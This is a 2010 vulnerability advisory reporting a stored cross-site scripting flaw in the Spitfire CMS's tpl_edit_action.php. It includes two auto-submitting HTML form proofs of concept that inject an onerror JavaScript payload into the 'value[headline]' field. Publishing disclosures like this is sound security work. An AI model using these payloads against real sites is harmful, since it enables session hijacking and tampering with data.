XSS vulnerability in Spitfire

[advisory () htbridge ch]

Vulnerability ID: HTB22486
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_spitfire_3.html
Product: Spitfire
Vendor: Claus Muus ( http://spitfire.clausmuus.de/ ) 
Vulnerable Version: 1.0.336 and Probably Prior Versions
Vendor Notification: 08 July 2010 
Vulnerability Type: XSS (Cross Site Scripting)
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: Low 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) 

Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the "tpl_edit_action.php" script to properly sanitize user-supplied input in 
"value[headline]" variable. Successful exploitation of this vulnerability could result in a compromise of the 
application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is available:
First code:

<form action="http://host/cms//edit/tpl_edit_action.php"; method="post" name="main" >
        <input type="hidden" name="action" value="save" />
        <input type="hidden" name="value[headline]" value='headl2<img src=x onerror=alert(234)>' />
        <input type="hidden" name="winid" value="0" />
</form>
<script>
document.main.submit();
</script>

Second code:

<form action="http://host/cms//edit/tpl_edit_action.php"; method="post" name="main" >
        <input type="hidden" name="action" value="value" />
        <input type="hidden" name="tabid" value="headline" />
        <input type="hidden" name="winid" value="0" />
</form>
<script>
document.main.submit();
</script>